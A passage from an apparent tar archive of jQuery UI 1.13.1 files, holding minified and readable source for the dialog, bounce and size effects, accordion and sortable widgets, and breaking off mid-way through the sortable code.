ui-front"),this._on(this.uiDialog,{keydown:function(i){if(this.options.closeOnEscape&&!i.isDefaultPrevented()&&i.keyCode&&i.keyCode===l.ui.keyCode.ESCAPE)return i.preventDefault(),void this.close(i);var t,e,o;i.keyCode!==l.ui.keyCode.TAB||i.isDefaultPrevented()||(t=this.uiDialog.find(":tabbable"),e=t.first(),o=t.last(),i.target!==o[0]&&i.target!==this.uiDialog[0]||i.shiftKey?i.target!==e[0]&&i.target!==this.uiDialog[0]||!i.shiftKey||(this._delay(function(){o.trigger("focus")}),i.preventDefault()):(this._delay(function(){e.trigger("focus")}),i.preventDefault()))},mousedown:function(i){this._moveToTop(i)&&this._focusTabbable()}}),this.element.find("[aria-describedby]").length||this.uiDialog.attr({"aria-describedby":this.element.uniqueId().attr("id")})},_createTitlebar:function(){var i;this.uiDialogTitlebar=l("<div>"),this._addClass(this.uiDialogTitlebar,"ui-dialog-titlebar","ui-widget-header ui-helper-clearfix"),this._on(this.uiDialogTitlebar,{mousedown:function(i){l(i.target).closest(".ui-dialog-titlebar-close")||this.uiDialog.trigger("focus")}}),this.uiDialogTitlebarClose=l("<button type='button'></button>").button({label:l("<a>").text(this.options.closeText).html(),icon:"ui-icon-closethick",showLabel:!1}).appendTo(this.uiDialogTitlebar),this._addClass(this.uiDialogTitlebarClose,"ui-dialog-titlebar-close"),this._on(this.uiDialogTitlebarClose,{click:function(i){i.preventDefault(),this.close(i)}}),i=l("<span>").uniqueId().prependTo(this.uiDialogTitlebar),this._addClass(i,"ui-dialog-title"),this._title(i),this.uiDialogTitlebar.prependTo(this.uiDialog),this.uiDialog.attr({"aria-labelledby":i.attr("id")})},_title:function(i){this.options.title?i.text(this.options.title):i.html(" ")},_createButtonPane:function(){this.uiDialogButtonPane=l("<div>"),this._addClass(this.uiDialogButtonPane,"ui-dialog-buttonpane","ui-widget-content ui-helper-clearfix"),this.uiButtonSet=l("<div>").appendTo(this.uiDialogButtonPane),this._addClass(this.uiButtonSet,"ui-dialog-buttonset"),this._createButtons()},_createButtons:function(){var o=this,i=this.options.buttons;this.uiDialogButtonPane.remove(),this.uiButtonSet.empty(),l.isEmptyObject(i)||Array.isArray(i)&&!i.length?this._removeClass(this.uiDialog,"ui-dialog-buttons"):(l.each(i,function(i,t){var e;t=l.extend({type:"button"},t="function"==typeof t?{click:t,text:i}:t),e=t.click,i={icon:t.icon,iconPosition:t.iconPosition,showLabel:t.showLabel,icons:t.icons,text:t.text},delete t.click,delete t.icon,delete t.iconPosition,delete t.showLabel,delete t.icons,"boolean"==typeof t.text&&delete t.text,l("<button></button>",t).button(i).appendTo(o.uiButtonSet).on("click",function(){e.apply(o.element[0],arguments)})}),this._addClass(this.uiDialog,"ui-dialog-buttons"),this.uiDialogButtonPane.appendTo(this.uiDialog))},_makeDraggable:function(){var s=this,n=this.options;function a(i){return{position:i.position,offset:i.offset}}this.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(i,t){s._addClass(l(this),"ui-dialog-dragging"),s._blockFrames(),s._trigger("dragStart",i,a(t))},drag:function(i,t){s._trigger("drag",i,a(t))},stop:function(i,t){var e=t.offset.left-s.document.scrollLeft(),o=t.offset.top-s.document.scrollTop();n.position={my:"left top",at:"left"+(0<=e?"+":"")+e+" top"+(0<=o?"+":"")+o,of:s.window},s._removeClass(l(this),"ui-dialog-dragging"),s._unblockFrames(),s._trigger("dragStop",i,a(t))}})},_makeResizable:function(){var s=this,n=this.options,i=n.resizable,t=this.uiDialog.css("position"),i="string"==typeof i?i:"n,e,s,w,se,sw,ne,nw";function a(i){return{originalPosition:i.originalPosition,originalSize:i.originalSize,position:i.position,size:i.size}}this.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:this.element,maxWidth:n.maxWidth,maxHeight:n.maxHeight,minWidth:n.minWidth,minHeight:this._minHeight(),handles:i,start:function(i,t){s._addClass(l(this),"ui-dialog-resizing"),s._blockFrames(),s._trigger("resizeStart",i,a(t))},resize:function(i,t){s._trigger("resize",i,a(t))},stop:function(i,t){var e=s.uiDialog.offset(),o=e.left-s.document.scrollLeft(),e=e.top-s.document.scrollTop();n.height=s.uiDialog.height(),n.width=s.uiDialog.width(),n.position={my:"left top",at:"left"+(0<=o?"+":"")+o+" top"+(0<=e?"+":"")+e,of:s.window},s._removeClass(l(this),"ui-dialog-resizing"),s._unblockFrames(),s._trigger("resizeStop",i,a(t))}}).css("position",t)},_trackFocus:function(){this._on(this.widget(),{focusin:function(i){this._makeFocusTarget(),this._focusedElement=l(i.target)}})},_makeFocusTarget:function(){this._untrackInstance(),this._trackingInstances().unshift(this)},_untrackInstance:function(){var i=this._trackingInstances(),t=l.inArray(this,i);-1!==t&&i.splice(t,1)},_trackingInstances:function(){var i=this.document.data("ui-dialog-instances");return i||this.document.data("ui-dialog-instances",i=[]),i},_minHeight:function(){var i=this.options;return"auto"===i.height?i.minHeight:Math.min(i.minHeight,i.height)},_position:function(){var i=this.uiDialog.is(":visible");i||this.uiDialog.show(),this.uiDialog.position(this.options.position),i||this.uiDialog.hide()},_setOptions:function(i){var e=this,o=!1,s={};l.each(i,function(i,t){e._setOption(i,t),i in e.sizeRelatedOptions&&(o=!0),i in e.resizableRelatedOptions&&(s[i]=t)}),o&&(this._size(),this._position()),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option",s)},_setOption:function(i,t){var e,o=this.uiDialog;"disabled"!==i&&(this._super(i,t),"appendTo"===i&&this.uiDialog.appendTo(this._appendTo()),"buttons"===i&&this._createButtons(),"closeText"===i&&this.uiDialogTitlebarClose.button({label:l("<a>").text(""+this.options.closeText).html()}),"draggable"===i&&((e=o.is(":data(ui-draggable)"))&&!t&&o.draggable("destroy"),!e&&t&&this._makeDraggable()),"position"===i&&this._position(),"resizable"===i&&((e=o.is(":data(ui-resizable)"))&&!t&&o.resizable("destroy"),e&&"string"==typeof t&&o.resizable("option","handles",t),e||!1===t||this._makeResizable()),"title"===i&&this._title(this.uiDialogTitlebar.find(".ui-dialog-title")))},_size:function(){var i,t,e,o=this.options;this.element.show().css({width:"auto",minHeight:0,maxHeight:"none",height:0}),o.minWidth>o.width&&(o.width=o.minWidth),i=this.uiDialog.css({height:"auto",width:o.width}).outerHeight(),t=Math.max(0,o.minHeight-i),e="number"==typeof o.maxHeight?Math.max(0,o.maxHeight-i):"none","auto"===o.height?this.element.css({minHeight:t,maxHeight:e,height:"auto"}):this.element.height(Math.max(0,o.height-i)),this.uiDialog.is(":data(ui-resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())},_blockFrames:function(){this.iframeBlocks=this.document.find("iframe").map(function(){var i=l(this);return l("<div>").css({position:"absolute",width:i.outerWidth(),height:i.outerHeight()}).appendTo(i.parent()).offset(i.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_allowInteraction:function(i){return!!l(i.target).closest(".ui-dialog").length||!!l(i.target).closest(".ui-datepicker").length},_createOverlay:function(){var e,o;this.options.modal&&(e=l.fn.jquery.substring(0,4),o=!0,this._delay(function(){o=!1}),this.document.data("ui-dialog-overlays")||this.document.on("focusin.ui-dialog",function(i){var t;o||((t=this._trackingInstances()[0])._allowInteraction(i)||(i.preventDefault(),t._focusTabbable(),"3.4."!==e&&"3.5."!==e||t._delay(t._restoreTabbableFocus)))}.bind(this)),this.overlay=l("<div>").appendTo(this._appendTo()),this._addClass(this.overlay,null,"ui-widget-overlay ui-front"),this._on(this.overlay,{mousedown:"_keepFocus"}),this.document.data("ui-dialog-overlays",(this.document.data("ui-dialog-overlays")||0)+1))},_destroyOverlay:function(){var i;this.options.modal&&this.overlay&&((i=this.document.data("ui-dialog-overlays")-1)?this.document.data("ui-dialog-overlays",i):(this.document.off("focusin.ui-dialog"),this.document.removeData("ui-dialog-overlays")),this.overlay.remove(),this.overlay=null)}}),!1!==l.uiBackCompat&&l.widget("ui.dialog",l.ui.dialog,{options:{dialogClass:""},_createWrapper:function(){this._super(),this.uiDialog.addClass(this.options.dialogClass)},_setOption:function(i,t){"dialogClass"===i&&this.uiDialog.removeClass(this.options.dialogClass).addClass(t),this._superApply(arguments)}}),l.ui.dialog});����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-bounce.js�����������������������������������������������������������������������0000644�����������������00000005116�14717703502�0012170 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Bounce 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Bounce Effect //>>group: Effects //>>description: Bounces an element horizontally or vertically n times. //>>docs: http://api.jqueryui.com/bounce-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "bounce", function( options, done ) { var upAnim, downAnim, refValue, element = $( this ), // Defaults: mode = options.mode, hide = mode === "hide", show = mode === "show", direction = options.direction || "up", distance = options.distance, times = options.times || 5, // Number of internal animations anims = times * 2 + ( show || hide ? 1 : 0 ), speed = options.duration / anims, easing = options.easing, // Utility: ref = ( direction === "up" || direction === "down" ) ? "top" : "left", motion = ( direction === "up" || direction === "left" ), i = 0, queuelen = element.queue().length; $.effects.createPlaceholder( element ); refValue = element.css( ref ); // Default distance for the BIGGEST bounce is the outer Distance / 3 if ( !distance ) { distance = element[ ref === "top" ? "outerHeight" : "outerWidth" ]() / 3; } if ( show ) { downAnim = { opacity: 1 }; downAnim[ ref ] = refValue; // If we are showing, force opacity 0 and set the initial position // then do the "first" animation element .css( "opacity", 0 ) .css( ref, motion ? -distance * 2 : distance * 2 ) .animate( downAnim, speed, easing ); } // Start at the smallest distance if we are hiding if ( hide ) { distance = distance / Math.pow( 2, times - 1 ); } downAnim = {}; downAnim[ ref ] = refValue; // Bounces up/down/left/right then back to 0 -- times * 2 animations happen here for ( ; i < times; i++ ) { upAnim = {}; upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance; element .animate( upAnim, speed, easing ) .animate( downAnim, speed, easing ); distance = hide ? distance * 2 : distance / 2; } // Last Bounce when Hiding if ( hide ) { upAnim = { opacity: 0 }; upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance; element.animate( upAnim, speed, easing ); } element.queue( done ); $.effects.unshift( element, queuelen, anims + 1 ); } ); } ); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/accordion.min.js�����������������������������������������������������������������������0000644�����������������00000021156�14717703502�0012210 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Accordion 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./core"],e):e(jQuery)}(function(o){"use strict";return o.widget("ui.accordion",{version:"1.13.1",options:{active:0,animate:{},classes:{"ui-accordion-header":"ui-corner-top","ui-accordion-header-collapsed":"ui-corner-all","ui-accordion-content":"ui-corner-bottom"},collapsible:!1,event:"click",header:function(e){return e.find("> li > :first-child").add(e.find("> :not(li)").even())},heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},hideProps:{borderTopWidth:"hide",borderBottomWidth:"hide",paddingTop:"hide",paddingBottom:"hide",height:"hide"},showProps:{borderTopWidth:"show",borderBottomWidth:"show",paddingTop:"show",paddingBottom:"show",height:"show"},_create:function(){var e=this.options;this.prevShow=this.prevHide=o(),this._addClass("ui-accordion","ui-widget ui-helper-reset"),this.element.attr("role","tablist"),e.collapsible||!1!==e.active&&null!=e.active||(e.active=0),this._processPanels(),e.active<0&&(e.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():o()}},_createIcons:function(){var e,t=this.options.icons;t&&(e=o("<span>"),this._addClass(e,"ui-accordion-header-icon","ui-icon "+t.header),e.prependTo(this.headers),e=this.active.children(".ui-accordion-header-icon"),this._removeClass(e,t.header)._addClass(e,null,t.activeHeader)._addClass(this.headers,"ui-accordion-icons"))},_destroyIcons:function(){this._removeClass(this.headers,"ui-accordion-icons"),this.headers.children(".ui-accordion-header-icon").remove()},_destroy:function(){var e;this.element.removeAttr("role"),this.headers.removeAttr("role aria-expanded aria-selected aria-controls tabIndex").removeUniqueId(),this._destroyIcons(),e=this.headers.next().css("display","").removeAttr("role aria-hidden aria-labelledby").removeUniqueId(),"content"!==this.options.heightStyle&&e.css("height","")},_setOption:function(e,t){"active"===e?this._activate(t):("event"===e&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(t)),this._super(e,t),"collapsible"!==e||t||!1!==this.options.active||this._activate(0),"icons"===e&&(this._destroyIcons(),t&&this._createIcons()))},_setOptionDisabled:function(e){this._super(e),this.element.attr("aria-disabled",e),this._toggleClass(null,"ui-state-disabled",!!e),this._toggleClass(this.headers.add(this.headers.next()),null,"ui-state-disabled",!!e)},_keydown:function(e){if(!e.altKey&&!e.ctrlKey){var t=o.ui.keyCode,i=this.headers.length,a=this.headers.index(e.target),s=!1;switch(e.keyCode){case t.RIGHT:case t.DOWN:s=this.headers[(a+1)%i];break;case t.LEFT:case t.UP:s=this.headers[(a-1+i)%i];break;case t.SPACE:case t.ENTER:this._eventHandler(e);break;case t.HOME:s=this.headers[0];break;case t.END:s=this.headers[i-1]}s&&(o(e.target).attr("tabIndex",-1),o(s).attr("tabIndex",0),o(s).trigger("focus"),e.preventDefault())}},_panelKeyDown:function(e){e.keyCode===o.ui.keyCode.UP&&e.ctrlKey&&o(e.currentTarget).prev().trigger("focus")},refresh:function(){var e=this.options;this._processPanels(),!1===e.active&&!0===e.collapsible||!this.headers.length?(e.active=!1,this.active=o()):!1===e.active?this._activate(0):this.active.length&&!o.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(".ui-state-disabled").length?(e.active=!1,this.active=o()):this._activate(Math.max(0,e.active-1)):e.active=this.headers.index(this.active),this._destroyIcons(),this._refresh()},_processPanels:function(){var e=this.headers,t=this.panels;"function"==typeof this.options.header?this.headers=this.options.header(this.element):this.headers=this.element.find(this.options.header),this._addClass(this.headers,"ui-accordion-header ui-accordion-header-collapsed","ui-state-default"),this.panels=this.headers.next().filter(":not(.ui-accordion-content-active)").hide(),this._addClass(this.panels,"ui-accordion-content","ui-helper-reset ui-widget-content"),t&&(this._off(e.not(this.headers)),this._off(t.not(this.panels)))},_refresh:function(){var i,e=this.options,t=e.heightStyle,a=this.element.parent();this.active=this._findActive(e.active),this._addClass(this.active,"ui-accordion-header-active","ui-state-active")._removeClass(this.active,"ui-accordion-header-collapsed"),this._addClass(this.active.next(),"ui-accordion-content-active"),this.active.next().show(),this.headers.attr("role","tab").each(function(){var e=o(this),t=e.uniqueId().attr("id"),i=e.next(),a=i.uniqueId().attr("id");e.attr("aria-controls",a),i.attr("aria-labelledby",t)}).next().attr("role","tabpanel"),this.headers.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}).next().attr({"aria-hidden":"true"}).hide(),this.active.length?this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}).next().attr({"aria-hidden":"false"}):this.headers.eq(0).attr("tabIndex",0),this._createIcons(),this._setupEvents(e.event),"fill"===t?(i=a.height(),this.element.siblings(":visible").each(function(){var e=o(this),t=e.css("position");"absolute"!==t&&"fixed"!==t&&(i-=e.outerHeight(!0))}),this.headers.each(function(){i-=o(this).outerHeight(!0)}),this.headers.next().each(function(){o(this).height(Math.max(0,i-o(this).innerHeight()+o(this).height()))}).css("overflow","auto")):"auto"===t&&(i=0,this.headers.next().each(function(){var e=o(this).is(":visible");e||o(this).show(),i=Math.max(i,o(this).css("height","").height()),e||o(this).hide()}).height(i))},_activate:function(e){e=this._findActive(e)[0];e!==this.active[0]&&(e=e||this.active[0],this._eventHandler({target:e,currentTarget:e,preventDefault:o.noop}))},_findActive:function(e){return"number"==typeof e?this.headers.eq(e):o()},_setupEvents:function(e){var i={keydown:"_keydown"};e&&o.each(e.split(" "),function(e,t){i[t]="_eventHandler"}),this._off(this.headers.add(this.headers.next())),this._on(this.headers,i),this._on(this.headers.next(),{keydown:"_panelKeyDown"}),this._hoverable(this.headers),this._focusable(this.headers)},_eventHandler:function(e){var t=this.options,i=this.active,a=o(e.currentTarget),s=a[0]===i[0],n=s&&t.collapsible,h=n?o():a.next(),r=i.next(),r={oldHeader:i,oldPanel:r,newHeader:n?o():a,newPanel:h};e.preventDefault(),s&&!t.collapsible||!1===this._trigger("beforeActivate",e,r)||(t.active=!n&&this.headers.index(a),this.active=s?o():a,this._toggle(r),this._removeClass(i,"ui-accordion-header-active","ui-state-active"),t.icons&&(h=i.children(".ui-accordion-header-icon"),this._removeClass(h,null,t.icons.activeHeader)._addClass(h,null,t.icons.header)),s||(this._removeClass(a,"ui-accordion-header-collapsed")._addClass(a,"ui-accordion-header-active","ui-state-active"),t.icons&&(e=a.children(".ui-accordion-header-icon"),this._removeClass(e,null,t.icons.header)._addClass(e,null,t.icons.activeHeader)),this._addClass(a.next(),"ui-accordion-content-active")))},_toggle:function(e){var t=e.newPanel,i=this.prevShow.length?this.prevShow:e.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0),this.prevShow=t,this.prevHide=i,this.options.animate?this._animate(t,i,e):(i.hide(),t.show(),this._toggleComplete(e)),i.attr({"aria-hidden":"true"}),i.prev().attr({"aria-selected":"false","aria-expanded":"false"}),t.length&&i.length?i.prev().attr({tabIndex:-1,"aria-expanded":"false"}):t.length&&this.headers.filter(function(){return 0===parseInt(o(this).attr("tabIndex"),10)}).attr("tabIndex",-1),t.attr("aria-hidden","false").prev().attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_animate:function(e,i,t){function a(){n._toggleComplete(t)}var s,n=this,h=0,r=e.css("box-sizing"),o=e.length&&(!i.length||e.index()<i.index()),d=this.options.animate||{},o=o&&d.down||d,c=(c="string"==typeof o?o:c)||o.easing||d.easing,l=(l="number"==typeof o?o:l)||o.duration||d.duration;return i.length?e.length?(s=e.show().outerHeight(),i.animate(this.hideProps,{duration:l,easing:c,step:function(e,t){t.now=Math.round(e)}}),void e.hide().animate(this.showProps,{duration:l,easing:c,complete:a,step:function(e,t){t.now=Math.round(e),"height"!==t.prop?"content-box"===r&&(h+=t.now):"content"!==n.options.heightStyle&&(t.now=Math.round(s-i.outerHeight()-h),h=0)}})):i.animate(this.hideProps,l,c,a):e.animate(this.showProps,l,c,a)},_toggleComplete:function(e){var t=e.oldPanel,i=t.prev();this._removeClass(t,"ui-accordion-content-active"),this._removeClass(i,"ui-accordion-header-active")._addClass(i,"ui-accordion-header-collapsed"),t.length&&(t.parent()[0].className=t.parent()[0].className),this._trigger("activate",null,e)}})});������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-size.min.js���������������������������������������������������������������������0000644�����������������00000004653�14717703502�0012456 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Size 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],t):t(jQuery)}(function(l){"use strict";return l.effects.define("size",function(o,e){var f,i=l(this),t=["fontSize"],s=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],n=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],r=o.mode,h="effect"!==r,c=o.scale||"both",d=o.origin||["middle","center"],a=i.css("position"),g=i.position(),u=l.effects.scaledDimensions(i),m=o.from||u,y=o.to||l.effects.scaledDimensions(i,0);l.effects.createPlaceholder(i),"show"===r&&(r=m,m=y,y=r),f={from:{y:m.height/u.height,x:m.width/u.width},to:{y:y.height/u.height,x:y.width/u.width}},"box"!==c&&"both"!==c||(f.from.y!==f.to.y&&(m=l.effects.setTransition(i,s,f.from.y,m),y=l.effects.setTransition(i,s,f.to.y,y)),f.from.x!==f.to.x&&(m=l.effects.setTransition(i,n,f.from.x,m),y=l.effects.setTransition(i,n,f.to.x,y))),"content"!==c&&"both"!==c||f.from.y!==f.to.y&&(m=l.effects.setTransition(i,t,f.from.y,m),y=l.effects.setTransition(i,t,f.to.y,y)),d&&(r=l.effects.getBaseline(d,u),m.top=(u.outerHeight-m.outerHeight)*r.y+g.top,m.left=(u.outerWidth-m.outerWidth)*r.x+g.left,y.top=(u.outerHeight-y.outerHeight)*r.y+g.top,y.left=(u.outerWidth-y.outerWidth)*r.x+g.left),delete m.outerHeight,delete m.outerWidth,i.css(m),"content"!==c&&"both"!==c||(s=s.concat(["marginTop","marginBottom"]).concat(t),n=n.concat(["marginLeft","marginRight"]),i.find("*[width]").each(function(){var t=l(this),e=l.effects.scaledDimensions(t),i={height:e.height*f.from.y,width:e.width*f.from.x,outerHeight:e.outerHeight*f.from.y,outerWidth:e.outerWidth*f.from.x},e={height:e.height*f.to.y,width:e.width*f.to.x,outerHeight:e.height*f.to.y,outerWidth:e.width*f.to.x};f.from.y!==f.to.y&&(i=l.effects.setTransition(t,s,f.from.y,i),e=l.effects.setTransition(t,s,f.to.y,e)),f.from.x!==f.to.x&&(i=l.effects.setTransition(t,n,f.from.x,i),e=l.effects.setTransition(t,n,f.to.x,e)),h&&l.effects.saveStyle(t),t.css(i),t.animate(e,o.duration,o.easing,function(){h&&l.effects.restoreStyle(t)})})),i.animate(y,{queue:!1,duration:o.duration,easing:o.easing,complete:function(){var t=i.offset();0===y.opacity&&i.css("opacity",m.opacity),h||(i.css("position","static"===a?"relative":a).offset(t),l.effects.saveStyle(i)),e()}})})});�������������������������������������������������������������������������������������js/jquery/ui/sortable.min.js������������������������������������������������������������������������0000644�����������������00000061557�14717703502�0012073 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Sortable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery","./mouse","./core"],t):t(jQuery)}(function(u){"use strict";return u.widget("ui.sortable",u.ui.mouse,{version:"1.13.1",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(t,e,i){return e<=t&&t<e+i},_isFloating:function(t){return/left|right/.test(t.css("float"))||/inline|table-cell/.test(t.css("display"))},_create:function(){this.containerCache={},this._addClass("ui-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(t,e){this._super(t,e),"handle"===t&&this._setHandleClassName()},_setHandleClassName:function(){var t=this;this._removeClass(this.element.find(".ui-sortable-handle"),"ui-sortable-handle"),u.each(this.items,function(){t._addClass(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item,"ui-sortable-handle")})},_destroy:function(){this._mouseDestroy();for(var t=this.items.length-1;0<=t;t--)this.items[t].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(t,e){var i=null,s=!1,o=this;return!this.reverting&&(!this.options.disabled&&"static"!==this.options.type&&(this._refreshItems(t),u(t.target).parents().each(function(){if(u.data(this,o.widgetName+"-item")===o)return i=u(this),!1}),!!(i=u.data(t.target,o.widgetName+"-item")===o?u(t.target):i)&&(!(this.options.handle&&!e&&(u(this.options.handle,i).find("*").addBack().each(function(){this===t.target&&(s=!0)}),!s))&&(this.currentItem=i,this._removeCurrentsFromItems(),!0))))},_mouseStart:function(t,e,i){var s,o,r=this.options;if((this.currentContainer=this).refreshPositions(),this.appendTo=u("parent"!==r.appendTo?r.appendTo:this.currentItem.parent()),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},u.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),r.cursorAt&&this._adjustOffsetFromHelper(r.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),this.scrollParent=this.placeholder.scrollParent(),u.extend(this.offset,{parent:this._getParentOffset()}),r.containment&&this._setContainment(),r.cursor&&"auto"!==r.cursor&&(o=this.document.find("body"),this.storedCursor=o.css("cursor"),o.css("cursor",r.cursor),this.storedStylesheet=u("<style>*{ cursor: "+r.cursor+" !important; }</style>").appendTo(o)),r.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",r.zIndex)),r.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",r.opacity)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!i)for(s=this.containers.length-1;0<=s;s--)this.containers[s]._trigger("activate",t,this._uiHash(this));return u.ui.ddmanager&&(u.ui.ddmanager.current=this),u.ui.ddmanager&&!r.dropBehaviour&&u.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this._addClass(this.helper,"ui-sortable-helper"),this.helper.parent().is(this.appendTo)||(this.helper.detach().appendTo(this.appendTo),this.offset.parent=this._getParentOffset()),this.position=this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,this.lastPositionAbs=this.positionAbs=this._convertPositionTo("absolute"),this._mouseDrag(t),!0},_scroll:function(t){var e=this.options,i=!1;return this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<e.scrollSensitivity?this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop+e.scrollSpeed:t.pageY-this.overflowOffset.top<e.scrollSensitivity&&(this.scrollParent[0].scrollTop=i=this.scrollParent[0].scrollTop-e.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<e.scrollSensitivity?this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft+e.scrollSpeed:t.pageX-this.overflowOffset.left<e.scrollSensitivity&&(this.scrollParent[0].scrollLeft=i=this.scrollParent[0].scrollLeft-e.scrollSpeed)):(t.pageY-this.document.scrollTop()<e.scrollSensitivity?i=this.document.scrollTop(this.document.scrollTop()-e.scrollSpeed):this.window.height()-(t.pageY-this.document.scrollTop())<e.scrollSensitivity&&(i=this.document.scrollTop(this.document.scrollTop()+e.scrollSpeed)),t.pageX-this.document.scrollLeft()<e.scrollSensitivity?i=this.document.scrollLeft(this.document.scrollLeft()-e.scrollSpeed):this.window.width()-(t.pageX-this.document.scrollLeft())<e.scrollSensitivity&&(i=this.document.scrollLeft(this.document.scrollLeft()+e.scrollSpeed))),i},_mouseDrag:function(t){var e,i,s,o,r=this.options;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),r.scroll&&!1!==this._scroll(t)&&(this._refreshItemPositions(!0),u.ui.ddmanager&&!r.dropBehaviour&&u.ui.ddmanager.prepareOffsets(this,t)),this.dragDirection={vertical:this._getDragVerticalDirection(),horizontal:this._getDragHorizontalDirection()},e=this.items.length-1;0<=e;e--)if(s=(i=this.items[e]).item[0],(o=this._intersectsWithPointer(i))&&i.instance===this.currentContainer&&!(s===this.currentItem[0]||this.placeholder[1===o?"next":"prev"]()[0]===s||u.contains(this.placeholder[0],s)||"semi-dynamic"===this.options.type&&u.contains(this.element[0],s))){if(this.direction=1===o?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(i))break;this._rearrange(t,i),this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),u.ui.ddmanager&&u.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,e){var i,s,o,r;if(t)return 